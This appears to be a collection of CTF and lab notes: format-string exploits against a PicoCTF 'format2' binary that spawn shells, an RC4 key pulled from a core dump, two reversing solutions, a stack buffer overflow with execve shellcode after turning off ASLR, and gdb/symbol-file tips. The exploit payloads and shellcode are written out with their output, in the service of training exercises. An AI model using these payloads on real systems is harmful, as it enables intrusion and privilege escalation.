   0x0804852d <+0>: push   ebp
   0x0804852e <+1>: mov    ebp,esp
   0x08048530 <+3>: and    esp,0xfffffff0
   0x08048533 <+6>: add    esp,0xffffff80
   0x08048536 <+9>: mov    eax,DWORD PTR [ebp+0xc]
   0x08048539 <+12>: mov    DWORD PTR [esp+0x1c],eax
   0x0804853d <+16>: mov    eax,gs:0x14
   0x08048543 <+22>: mov    DWORD PTR [esp+0x7c],eax
   0x08048547 <+26>: xor    eax,eax
   0x08048549 <+28>: call   0x8048504 <be_nice_to_people>
   0x0804854e <+33>: mov    eax,DWORD PTR [esp+0x1c]
   0x08048552 <+37>: add    eax,0x4
   0x08048555 <+40>: mov    eax,DWORD PTR [eax]
   0x08048557 <+42>: mov    DWORD PTR [esp+0x8],eax
   0x0804855b <+46>: mov    DWORD PTR [esp+0x4],0x46
   0x08048563 <+54>: lea    eax,[esp+0x2c]
   0x08048567 <+58>: mov    DWORD PTR [esp],eax
   0x0804856a <+61>: call   0x8048420 <snprintf@plt>
   0x0804856f <+66>: lea    eax,[esp+0x2c]
   0x08048573 <+70>: mov    DWORD PTR [esp],eax
   0x08048576 <+73>: call   0x80483c0 <printf@plt>
   0x0804857b <+78>: mov    DWORD PTR [esp],0xa
   0x08048582 <+85>: call   0x8048430 <putchar@plt>
   0x08048587 <+90>: mov    DWORD PTR [esp],0x8048670
   0x0804858e <+97>: call   0x80483e0 <system@plt>
   0x08048593 <+102>: mov    DWORD PTR [esp],0x0
   0x0804859a <+109>: call   0x8048400 <exit@plt>
End of assembler dump.
$ # 0x804a000 <printf@got.plt>: 0x080483c6 --> 0x080483e6
$ ltrace ./format2 `python -c 'print "/bin/sh;" + "\x02\xd6\xff\xff" + "\x0f\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*9 + "%.31x" + "%hn" + "%hn" + "%134513534d" + "%n"'`
__libc_start_main(0x804852d, 2, -10508, 0x80485a0, 0x8048610 <unfinished ...>
getegid()                                                                                                           = 8013
setresgid(8013, 8013, 8013, 0xf7ffd918, 0)                                                                          = 0
snprintf("/bin/sh", 70, "/bin/sh;\002\326\377\377\017\326"..., 0xf7ff249c, 0xffffd694, 0, 0)                        = 134513638
printf("/bin/sh"sh-4.2$ id
uid=8013(user6748) gid=8013(user6748) groups=8013(user6748)
$ ./format2 `python -c 'print "/bin/sh;" + "\x02\xd6\xff\xff" + "\x0f\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*9 + "%.31x" + "%hn" + "%hn" + "%134513534d" + "%n"'`
Segmentation fault
$ # 0x804a000 <printf@got.plt>: 0x080483c6 --> 0x080483e6
$ ltrace ./format2 `python -c 'print "/bin/sh;" + "\x1b\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*10 + "%hn" + "%134513561d" + "%n"'`
__libc_start_main(0x804852d, 2, -10492, 0x80485a0, 0x8048610 <unfinished ...>
getegid()                                                                                                           = 8013
setresgid(8013, 8013, 8013, 0xf7ffd918, 0)                                                                          = 0
snprintf("/bin/sh;\033\326\377\377\220\220\220M", 70, "/bin/sh;\033\326\377\377\220\220"..., 0xf7ff249c, 0xffffd6a4, 0, 0, 0xffffd704, 0x80482cb) = 134513638
printf("/bin/sh;\033\326\377\377\220\220"...sh-4.2$ id
uid=8013(user6748) gid=8013(user6748) groups=8013(user6748)
$ ./format2 `python -c 'print "/bin/sh;" + "\x1b\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*10 + "%hn" + "%134513561d" + "%n"'`
Illegal instruction
$ # 0x804a01c <putchar@got.plt>: 0x08048436 --> 0x0804858e
$ export PATH=$PATH:$HOME
$ ln -s /bin/dash $HOME/$'\307\004\206\004\b\350M\376\377\377\307\004$'
$ ./format2 `python -c 'print "\x1c\xa0\x04\x08" + "%134514058d" + "%9$n"'`
$ id
uid=8013(user6748) gid=3006(format2) groups=8013(user6748)
$ cat key
now_youre_a_format_string_master

# PicoCTF 2k13 - Core Decryption


$ mkdir decrypt
$ d decrypt
$ cp /problems/core_decrypt.tar .
$ tar xvf core_decrypt.tar
$ cat cryptor.c
#include <stdio.h>
#include <stdlib.h>

void swap(unsigned char* sbox, int i, int j) {
  unsigned char tmp;
  tmp = sbox[i];
  sbox[i] = sbox[j];
  sbox[j] = tmp;
}

void init_rc4(unsigned char* sbox, char* key, int keylen) {
  int i;
  for (i = 0; i < 256; i++) {
    sbox[i] = i;
  }
  unsigned char j,tmp;
  for (i = 0; i < 256; i++) {
    j = j + sbox[i] + key[i % keylen];
    swap(sbox,i,j);
  }
}

unsigned char next_prg(unsigned char* sbox, int *i, int *j) {
  i[0] = (i[0] + 1)&0xff;
  j[0] = (j[0] + sbox[i[0]])&0xff;
  swap(sbox,i[0],j[0]);
  return sbox[(sbox[i[0]] + sbox[j[0]])&0xff];
}

void crypt(FILE *inf, FILE *keyf, FILE *outf) {
  int uhoh;
  unsigned char sbox[256];
  int i,j;
  i = j = 0;
  char key[16];

  fread(key,1,16,keyf);
  init_rc4(sbox,key,16);

  unsigned char tmp;
  while (fread(&tmp,1,1,inf) > 0) {
    tmp ^= next_prg(sbox,&i,&j);
    fwrite(&tmp,1,1,outf);
  }
}

int usage(char* this) {
  printf("Usage: %s [input file] [outfile] [key file]\n",this);
  return -1;
}

int main(int argc, char** argv) {
  if (argc != 4) {
    return usage(argv[0]);
  }
  FILE *inf = fopen(argv[1],"r");
  FILE *outf = fopen(argv[2],"w");
  FILE *keyf = fopen(argv[3],"r");

  if (!(inf && outf && keyf)) {
    printf("Sorry, could not open all files for reading/writing\n");
    return -1;
  }
  crypt(inf,keyf,outf);
  fclose(inf);
  fclose(outf);
  fclose(keyf);
  return 0;
}
$ file ENCRYPTED
ENCRYPTED: data
$ file core.26474
core.26474: ELF 32-bit LSB core file Intel 80386, version 1 (SYSV), SVR4-style, from '/home/tyler/ppp/picoctf2013/problems/forensics/decryption_core/a.out keyfile.txt'
$ gdb cryptor core.26474
(gdb) info stack
#0  0x08048564 in swap (sbox=0xffffd17c "", i=-11652, j=16) at cryptor.c:7
#1  0x08048719 in crypt (inf=0x0, keyf=0xffffd17c, outf=0xf7ffda5c) at cryptor.c:42
#2  0x08048894 in main (argc=4, argv=0xffffd374) at cryptor.c:67
(gdb) frame 1
#1  0x08048719 in crypt (inf=0x0, keyf=0xffffd17c, outf=0xf7ffda5c) at cryptor.c:42
42     tmp ^= next_prg(sbox,&i,&j);
(gdb) info locals
(gdb) print /x &key
$1 = 0xffffd27c
(gdb) print /x key
$2 = {0xc5, 0xe4, 0x4c, 0x4, 0xbb, 0x2f, 0x5c, 0x10, 0xba, 0x75, 0x1b, 0xc3, 0x97, 0x4c, 0xdc, 0xdc}
$ python -c 'print "\xc5\xe4\x4c\x04\xbb\x2f\x5c\x10\xba\x75\x1b\xc3\x97\x4c\xdc\xdc"' > key
$ ./cryptor ENCRYPTED solution key
$ cat solution 
Well, assuming you're able to actually keep the secret keyfile safe, this is a legitimate way to encrypt files!
Your key is: astronomy_ceremony_times

# NcN CTF 2k13: Canada (Base - 1200 pts)


# gunzip howtobasic.gz
# file howtobasic
howtobasic: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=0x1a8f284f3d67ad66c7510bc5353556e8a01db18b, stripped
# chmod +x howtobasic
# gdb --quiet ./howtobasic
(gdb) set disassembly-flavor intel
(gdb) info file
        Entry point: 0x80481c0
(gdb) run
Starting program: /root/ctf/howtobasic
Facebook CTF
Enter flag: ^C
Program received signal SIGINT, Interrupt.
0xf7ffd430 in __kernel_vsyscall ()
(gdb) finish
1234567890
0x080577a2 in ?? ()
(gdb) finish
0x0806d9a6 in ?? ()
(gdb) finish
0x08049b26 in ?? ()
(gdb) finish
0x0804932d in ?? ()
(gdb) finish
0x08049435 in ?? ()
(gdb) finish
0x0804906b in ?? ()
(gdb) finish
0x080483b6 in ?? ()
(gdb) finish
Sorry, that is not correct.
(gdb) b *0x080483b6
(gdb) run
Starting program: /root/ctf/howtobasic
Facebook CTF
Enter flag: 1234567890

(gdb) x/2i 0x080483b6
=> 0x80483b6:   test   eax,eax
   0x80483b8:   jne    0x80483f5
(gdb) x/s $eax
0x80d5298:      "1234567890\n"
(gdb) b *0x80483f5
(gdb) continue
(gdb) x/3i 0x080483f5
=> 0x80483f5:   push   eax
   0x80483f6:   xor    eax,eax
   0x80483f8:   je     0x80483fd
(gdb) b *0x80483fd
(gdb) continue
(gdb) x/2i 0x080483fd
=> 0x80483fd:   pop    eax
   0x80483fe:   jmp    0x8048486
(gdb) b *0x8048486
(gdb) continue
(gdb) x/4i 0x08048486
=> 0x8048486:   mov    eax,DWORD PTR [esp+0x14]
   0x804848a:   sub    eax,0x2
   0x804848d:   cmp    eax,DWORD PTR [esp+0x1c]
   0x8048491:   ja     0x8048403
(gdb) x/xw $esp+0x14
0xffffd604:     0x00000042
(gdb) x/xw $esp+0x1c
0xffffd60c:     0x00000000
(gdb) b *0x8048403
(gdb) continue
(gdb) x/20i 0x08048403
=> 0x8048403:   mov    eax,DWORD PTR [esp+0x1c] // eax = 0x0
   0x8048407:   and    eax,0x7   // eax = 0x0 
   0x804840a:   movzx  eax,BYTE PTR [eax+0x80d108c] // eax = 0x4d [0x80d108c] = "MOVEFAST"
   0x8048411:   not    eax    // eax = 0xffffffb2
   0x8048413:   mov    BYTE PTR [esp+0x1b],al  // [esp+0x1b] = 0x000000b2
   0x8048417:   mov    eax,DWORD PTR [esp+0x1c] // eax = 0x0 
   0x804841b:   mov    edx,DWORD PTR [esp+0x10] // edx = 0x080d5298 [0x080d5298] = "1234567890\n"
   0x804841f:   add    eax,edx   // eax = 0x080d5298
   0x8048421:   movzx  eax,BYTE PTR [eax]  // eax = 0x31
   0x8048424:   not    eax    // eax = 0xffffffce
   0x8048426:   mov    BYTE PTR [esp+0x1a],al  // [esp+0x1a] = 0x0000b2ce
   0x804842a:   mov    edx,DWORD PTR ds:0x80d1088 // edx = 0x80b21e8 [0x80b21e8] = "{\177gtsyjg,xorut21.zb \"t65t~0'\"#5d,-g|t$f1(.dq\177te2.}o##%`lyy`$ x2f"
   0x8048430:   mov    eax,DWORD PTR [esp+0x1c] // eax = 0x0
   0x8048434:   add    eax,edx   // eax = 0x80b21e8
   0x8048436:   movzx  edx,BYTE PTR [eax]  // edx = 0x7b
   0x8048439:   movzx  eax,BYTE PTR [esp+0x1a] // eax = 0xce
   0x804843e:   movzx  ecx,BYTE PTR [esp+0x1b] // ecx = 0xb2
   0x8048443:   xor    eax,ecx   // eax = 0x7c
   0x8048445:   cmp    dl,al   // dl != al
   0x8048447:   je     0x8048481
(gdb) x/5i 0x8048481
   0x8048481:   add    DWORD PTR [esp+0x1c],0x1
   0x8048486:   mov    eax,DWORD PTR [esp+0x14]
   0x804848a:   sub    eax,0x2
   0x804848d:   cmp    eax,DWORD PTR [esp+0x1c]
   0x8048491:   ja     0x8048403
(gdb) quit
# cat canada.py
#!/usr/bin/python

constraint = "{\177gtsyjg,xorut21.zb \"t65t~0'\"#5d,-g|t$f1(.dq\177te2.}o##%`lyy`$ x2f"
xorkey = "MOVEFAST"
key = ""

for i in range(len(constraint)):
        c = ord(constraint[i])
        x = ord(xorkey[i%8])
        #~k ^ ~x = c
        k = ~(c^~x)
        key += hex(k)[2:].decode("hex")
print key
# ./canada.py
60115893a79735aec54ed5ea91fbdbf0ab192e5eea24956fc29fed38466af9a2
# ./howtobasic
Facebook CTF
Enter flag: 60115893a79735aec54ed5ea91fbdbf0ab192e5eea24956fc29fed38466af9a2
Winner! Post your flag.

# NcN CTF 2k13: Australia (Base - 500 pts)


# file derp
derp: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=0xbf6173b70ab3b4daee58d25e06e33f1738444a18, not stripped
# chmod +x derp
# echo 0 > /proc/sys/kernel/randomize_va_space
# gdb --quiet ./derp
(gdb) set disassembly-flavor intel
(gdb) break main
(gdb) run
(gdb) disassemble main
(gdb) x/6i 0x080483a4
   0x80483a4 <main+208>: mov    eax,ds:0x80d1088
   0x80483a9 <main+213>: sub    eax,0x2
   0x80483ac <main+216>: mov    DWORD PTR [esp+0x4],eax
   0x80483b0 <main+220>: mov    eax,DWORD PTR [esp+0x1c]
   0x80483b4 <main+224>: mov    DWORD PTR [esp],eax
   0x80483b7 <main+227>: call   0x804841a <check_buffer>
(gdb) x/xw 0x80d1088
0x80d1088 <goodboy_len>: 0x00000042
(gdb) break *0x80483b7
(gdb) continue
Continuing.
Facebook CTF
Enter flag: cookie

Breakpoint 2, 0x080483b7 in main ()
(gdb) info registers eax
eax            0x80d5298 135090840
(gdb) x/s 0x80d5298
0x80d5298:  "cookie\n"
(gdb) break *0x804841a
(gdb) continue
(gdb) disassemble
(gdb) x/3i 0x0804849c
=> 0x804849c <check_buffer+130>: mov    eax,DWORD PTR [ebp-0x4]
   0x804849f <check_buffer+133>: cmp    eax,DWORD PTR [ebp+0xc]
   0x80484a2 <check_buffer+136>: jb     0x804843c <check_buffer+34>
(gdb) break *0x0804849c
(gdb) continue
(gdb) x/xb $ebp-0x4
0xffffd4e4: 0x00
(gdb) x/xb $ebp+0xc
0xffffd4f4: 0x40
(gdb) x/64xb 0x080b2224
0x80b2224: 0xeb 0xe8 0xbf 0xe4 0xea 0xbe 0xba 0xe4
0x80b222c: 0xe5 0xea 0xe8 0xea 0xe8 0xee 0xe9 0xba
0x80b2234: 0xea 0xe8 0xeb 0xba 0xbf 0xba 0xeb 0xea
0x80b223c: 0xe8 0xef 0xbd 0xba 0xed 0xe9 0xba 0xee
0x80b2244: 0xe9 0xed 0xbe 0xed 0xe4 0xea 0xbe 0xba
0x80b224c: 0xe9 0xe4 0xbd 0xea 0xb8 0xe9 0xb8 0xbf
0x80b2254: 0xeb 0xb9 0xbe 0xe4 0xbe 0xba 0xe5 0xbf
0x80b225c: 0xba 0xbf 0xe5 0xb8 0xec 0xe8 0xbf 0xb8
(gdb) x/3i 0x0804848b
=> 0x804848b <check_buffer+113>: xor    eax,ecx
   0x804848d <check_buffer+115>: cmp    dl,al
   0x804848f <check_buffer+117>: je     0x8048498 <check_buffer+126>
(gdb) break *0x0804848b
(gdb) continue
(gdb) info registers eax
eax            0xdc 220
(gdb) info registers ecx
ecx            0x63 99
(gdb) info registers edx
edx            0xeb 235
(gdb) quit
# python -c 'list=[0xeb,0xe8,0xbf,0xe4,0xea,0xbe,0xba,0xe4,0xe5,0xea,0xe8,0xea,0xe8,0xee,0xe9,0xba,0xea,0xe8,0xeb,0xba,0xbf,0xba,0xeb,0xea,0xe8,0xef,0xbd,0xba,0xed,0xe9,0xba,0xee,0xe9,0xed,0xbe,0xed,0xe4,0xea,0xbe,0xba,0xe9,0xe4,0xbd,0xea,0xb8,0xe9,0xb8,0xbf,0xeb,0xb9,0xbe,0xe4,0xbe,0xba,0xe5,0xbf,0xba,0xbf,0xe5,0xb8,0xec,0xe8,0xbf,0xb8]; print "".join(chr(i^0xdc) for i in list)' | ./derp
Facebook CTF
Enter flag: Winner! Post your flag.

# Closing a process file descriptor while is running


# ls -l /proc/26133/fd
0 -> /dev/pts/1
1 -> /dev/pts/1
2 -> /dev/pts/1
3 -> socket:[21652774]
4 -> socket:[21652775]
5 -> socket:[21652776]
6 -> socket:[21652777]
7 -> /daft_punk-ram-get_lucky.mp3
# lsof -n -i 4 -a -p 26133
COMMAND   PID FD   TYPE   DEVICE SIZE/OFF NODE NAME
vlc     26133  3u  IPv4 21652774      0t0  UDP 192.168.1.1:46833->192.168.1.2:2001
vlc     26133  4u  IPv4 21652775      0t0  UDP 192.168.1.1:46834->192.168.1.2:2002
vlc     26133  5u  IPv4 21652776      0t0  UDP 192.168.1.1:48852->192.168.1.3:2001
vlc     26133  6u  IPv4 21652777      0t0  UDP 192.168.1.1:48853->192.168.1.3:2002
# echo -e "call close(3)\nquit" > gdb_commands
# gdb -p 26133 --batch -x gdb_commands

# Buffer overflow and arbitrary code execution (32-bit)


Disable protections

# echo '0' > /proc/sys/kernel/randomize_va_space
# echo '0' > /proc/sys/kernel/exec-shield
# echo '0' > /proc/sys/kernel/exec-shield-randomize


Vulnerable code

# cat vulnerable.c
#include <stdio.h>
#include <string.h>

void check_password(char *p){
        char password[64];
        strcpy(password,p);
        if(strcmp(password,"nop-sled")==0){printf("Correct password\n");}
        else{printf("Incorrect password\n");}
}

int main(int argc,char **argv){
        check_password(argv[1]);
        return 0;
}
# gcc -g -fno-stack-protector -z execstack -o vulnerable vulnerable.c

Arbitrary code execution

# gdb -q vulnerable
(gdb) list 1,14
1       #include <stdio.h>
2       #include <string.h>
3
4       void check_password(char *p){
5               char password[64];
6               strcpy(password,p);
7               if(strcmp(password,"nop-sled")==0){printf("Correct password\n");}
8               else{printf("Incorrect password\n");}
9       }
10
11      int main(int argc,char **argv){
12              check_password(argv[1]);
13              return 0;
14      }
(gdb) break 6
(gdb) disassemble main
Dump of assembler code for function main:
   0x08048477 <+0>:     push   %ebp
   0x08048478 <+1>:     mov    %esp,%ebp
   0x0804847a <+3>:     and    $0xfffffff0,%esp
   0x0804847d <+6>:     sub    $0x10,%esp
   0x08048480 <+9>:     mov    0xc(%ebp),%eax
   0x08048483 <+12>:    add    $0x4,%eax
   0x08048486 <+15>:    mov    (%eax),%eax
   0x08048488 <+17>:    mov    %eax,(%esp)
   0x0804848b <+20>:    call   0x8048414 <check_password>
   0x08048490 <+25>:    mov    $0x0,%eax
   0x08048495 <+30>:    leave
   0x08048496 <+31>:    ret
End of assembler dump.
(gdb) run wakamole
Starting program: /vulnerable wakamole

Breakpoint 1, check_password (p=0xbffff935 "wakamole") at vulnerable.c:6
6               strcpy(password,p);
(gdb) x /20x password
0xbffff6f0:     0x08048261      0x00000000      0x00ca0000      0x00000001
0xbffff700:     0xbffff91f      0x0000002f      0xbffff75c      0xb7fd1ff4
0xbffff710:     0x080484a0      0x08049ff4      0x00000002      0x080482fd
0xbffff720:     0xb7fd23e4      0x00000005      0x08049ff4      0x080484c1
0xbffff730:     0x00000000      0x00000000      0xbffff758      0x08048490
(gdb) run `perl -e 'print "\x90"x16 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\x90\x90" . "\xb0\xf6\xff\xbf"x9'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y

Starting program: /vulnerable `perl -e 'print "\x90"x16 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\x90\x90" . "\xb0\xf6\xff\xbf"x9'`

Breakpoint 1, check_password (
    p=0xbffff8ed "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\061\300\231\260\vRh//shh/bin\211\343R\211\342S\211\341̀\220\220\260\366\377\277\260\366\377\277\260\366\377\277\260\366\377\277\260\366\377\277\260\366\377\277\260\366\377\277\260\366\377\277\260\366\377\277")
    at vulnerable.c:6
6               strcpy(password,p);
(gdb) x /20x password
0xbffff6b0:     0x08048261      0x00000000      0x00ca0000      0x00000001
0xbffff6c0:     0xbffff8d7      0x0000002f      0xbffff71c      0xb7fd1ff4
0xbffff6d0:     0x080484a0      0x08049ff4      0x00000002      0x080482fd
0xbffff6e0:     0xb7fd23e4      0x00000005      0x08049ff4      0x080484c1
0xbffff6f0:     0x00000000      0x00000000      0xbffff718      0x08048490
(gdb) next
7               if(strcmp(password,"nop-sled")==0){printf("Correct password\n");}
(gdb) x /20x password
0xbffff6b0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff6c0:     0xb099c031      0x2f68520b      0x6868732f      0x6e69622f
0xbffff6d0:     0x8952e389      0xe18953e2      0x909080cd      0xbffff6b0
0xbffff6e0:     0xbffff6b0      0xbffff6b0      0xbffff6b0      0xbffff6b0
0xbffff6f0:     0xbffff6b0      0xbffff6b0      0xbffff6b0      0xbffff6b0
(gdb) continue
Incorrect password
process 2246 is executing new program: /bin/dash
# exit


References

http://www.overflowedminds.net/Papers/Newlog/Introduccion-Explotacion-Software-Linux.pdf

# Working with symbols files


What is a symbols file?

File containing a table of the identifiers information relating to its declaration and location.


Compiling with or without debugging information for GDB

# gcc -o example_debug -ggdb example.c
# gcc -o example_nodebug example.c

Listing symbols from object file

# nm example_debug

Three columns: Virtual_address | Symbol_type | Symbol_name
Lowercase symbols types are local and uppercase are global (external).

Copying debug symbols to an external file

# objcopy --only-keep-debug example_debug example.dbg

Striping debug symbols added with -ggdb

# objcopy --strip-debug example_debug

Striping all symbols information unneeded

# objcopy --strip-debug --strip-unneeded example_debug

Adding debug symbols to a binary

# gdb example_nodebug
(gdb) symbol-file example.dbg

or

# objcopy --add-gnu-debuglink=example.dbg example_nodebug
# gdb example_nodebug

Debugging a core file

# gdb example corefile
(gdb) symbol-file example.dbg
(gdb) bt